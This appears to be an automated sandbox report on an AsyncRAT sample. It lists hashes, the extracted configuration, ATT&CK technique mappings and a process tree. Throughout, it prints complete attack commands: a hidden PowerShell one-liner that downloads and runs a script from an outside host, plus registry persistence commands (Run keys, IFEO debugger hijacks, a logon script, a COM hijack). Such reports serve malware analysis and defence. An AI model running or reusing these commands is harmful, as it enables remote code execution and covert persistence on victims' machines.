asyncrat | 8ed2d872d5f3d55c23cbfb14dc6e43b855157c56804ebdc9664673a82d21fe21

General

Target
kiwi toi choi11.exe
Size 66KB
Sample261001-lqbc3agh99
SHA256 8ed2d872d5f3d55c23cbfb14dc6e43b855157c56804ebdc9664673a82d21fe21
MD5 e30e53ba015d0becfe8bf1e2028188c1
SHA1 7e4cb2ed352b1b12ddc6cb5d8ec00f09068892d0
SHA512 deca312f7d40b286a6a760ddfaa929ea72a28b539694e8fd0b0ddf95e1e5c1ea7c9c83f5ceec2495f2e75b9949dbd5ead64bd68cc358157825c243e19c143072
SSDEEP 1536:i03wV8SfUQyvOEEHMIGIbPkKlXkjV4kgGJLTox:iyjf9IbPBNkngcYx
TLSH
T1AA632C4437F8452BF2BE4BBC9CB222484675F6232916DE8D1CD421CA0A73BC5DA517BB
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

default discovery execution asyncrat persistence privilege_escalation rat

Malware Config

Extracted

Language

ps1

Deobfuscated

Source

URLs

ps1.dropper
http://tsntxe2.buzz/load.ps1

Extracted

Family

asyncrat

Version

0.5.8

Botnet

Default

Mutex

AIYQYKdJljIh

Attributes

delay
3
install
false
install_file
[email protected]
install_folder
%AppData%

aes.plain

Signatures

Family: AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat

Badlisted process makes network request 2 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
12	1812	powershell.exe
13	1812	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1812	powershell.exe

Event Triggered Execution: Image File Execution Options Injection 1 TTPs 5 IoCs

persistence

Image File Execution Options Injection

T1546.012

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe\Debugger = "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://tsntxe2.buzz/load.ps1')\""	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\chrome.exe	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\chrome.exe\Debugger = "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://tsntxe2.buzz/load.ps1')\""	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe	reg.exe

Event Triggered Execution: Component Object Model Hijacking 1 TTPs
Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.
persistence privilege_escalation

Component Object Model Hijacking
T1546.015

Registers new Windows logon scripts automatically executed at logon. 1 TTPs 1 IoCs

persistence

Logon Script (Windows)

T1037.001

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000\Environment\UserInitMprLogonScript = "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://tsntxe2.buzz/load.ps1')\""	reg.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000\Software\Microsoft\Windows\CurrentVersion\Run\WinUpdateSvc = "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://tsntxe2.buzz/load.ps1')\""	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce\WinUpdateOnce = "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://tsntxe2.buzz/load.ps1')\""	reg.exe

Enumerates connected drives 3 TTPs 1 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

ioc	Process
\??\F:\	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 6 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
5308	cmd.exe
4072	cmd.exe
4536	cmd.exe
3772	cmd.exe
2572	cmd.exe
2612	cmd.exe

Reads the TCP/IP host and domain name from the registry 1 TTPs 2 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	kiwi toi choi11.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	kiwi toi choi11.exe

System Location Discovery: System Language Discovery 1 TTPs 13 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	kiwi toi choi11.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe

Modifies registry class 5 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000_Classes\WOW6432Node\CLSID	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000_Classes\WOW6432Node\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000_Classes\WOW6432Node\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}\InprocServer32\ = "C:\\Windows\\Temp\\payload.dll"	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000_Classes\WOW6432Node\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}\InprocServer32	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000_Classes\WOW6432Node	reg.exe

Suspicious behavior: EnumeratesProcesses 22 IoCs

pid	Process
5956	kiwi toi choi11.exe
5956	kiwi toi choi11.exe
5956	kiwi toi choi11.exe
5956	kiwi toi choi11.exe
5956	kiwi toi choi11.exe
5956	kiwi toi choi11.exe
5956	kiwi toi choi11.exe
5956	kiwi toi choi11.exe
5956	kiwi toi choi11.exe
5956	kiwi toi choi11.exe
5956	kiwi toi choi11.exe
5956	kiwi toi choi11.exe
5956	kiwi toi choi11.exe
5956	kiwi toi choi11.exe
5956	kiwi toi choi11.exe
5956	kiwi toi choi11.exe
5956	kiwi toi choi11.exe
5956	kiwi toi choi11.exe
5956	kiwi toi choi11.exe
5956	kiwi toi choi11.exe
1812	powershell.exe
1812	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	5956	kiwi toi choi11.exe
Token: SeDebugPrivilege	1812	powershell.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 5956 wrote to memory of 4072	5956	kiwi toi choi11.exe	88
PID 5956 wrote to memory of 4536	5956	kiwi toi choi11.exe	90
PID 5956 wrote to memory of 3772	5956	kiwi toi choi11.exe	92
PID 4072 wrote to memory of 3856	4072	cmd.exe	94
PID 5956 wrote to memory of 2572	5956	kiwi toi choi11.exe	95
PID 5956 wrote to memory of 2612	5956	kiwi toi choi11.exe	97
PID 4536 wrote to memory of 1484	4536	cmd.exe	99
PID 5956 wrote to memory of 5308	5956	kiwi toi choi11.exe	100
PID 3772 wrote to memory of 1588	3772	cmd.exe	102
PID 2572 wrote to memory of 1856	2572	cmd.exe	103
PID 5308 wrote to memory of 2644	5308	cmd.exe	104
PID 2612 wrote to memory of 4124	2612	cmd.exe	105

C:\Users\Admin\AppData\Local\Temp\kiwi toi choi11.exe
"C:\Users\Admin\AppData\Local\Temp\kiwi toi choi11.exe"
1⤵
- Reads the TCP/IP host and domain name from the registry
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:5956
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "WinUpdateSvc" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://tsntxe2.buzz/load.ps1')\"" /f
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:4072
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "WinUpdateSvc" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://tsntxe2.buzz/load.ps1')\"" /f
    3⤵
    - Adds Run key to start application
    - System Location Discovery: System Language Discovery
    PID:3856
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "WinUpdateOnce" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://tsntxe2.buzz/load.ps1')\"" /f
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:4536
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "WinUpdateOnce" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://tsntxe2.buzz/load.ps1')\"" /f
    3⤵
    - Adds Run key to start application
    - System Location Discovery: System Language Discovery
    PID:1484
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKCU\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://tsntxe2.buzz/load.ps1')\"" /f
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:3772
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKCU\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://tsntxe2.buzz/load.ps1')\"" /f
    3⤵
    - Event Triggered Execution: Image File Execution Options Injection
    - System Location Discovery: System Language Discovery
    PID:1588
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKCU\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\chrome.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://tsntxe2.buzz/load.ps1')\"" /f
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2572
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKCU\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\chrome.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://tsntxe2.buzz/load.ps1')\"" /f
    3⤵
    - Event Triggered Execution: Image File Execution Options Injection
    - System Location Discovery: System Language Discovery
    PID:1856
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKCU\Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}\InprocServer32" /ve /t REG_SZ /d "C:\Windows\Temp\payload.dll" /f
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2612
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKCU\Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}\InprocServer32" /ve /t REG_SZ /d "C:\Windows\Temp\payload.dll" /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Modifies registry class
    PID:4124
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://tsntxe2.buzz/load.ps1')\"" /f
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:5308
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://tsntxe2.buzz/load.ps1')\"" /f
    3⤵
    - Registers new Windows logon scripts automatically executed at logon.
    - System Location Discovery: System Language Discovery
    PID:2644

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://tsntxe2.buzz/load.ps1')"
1⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Enumerates connected drives
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1812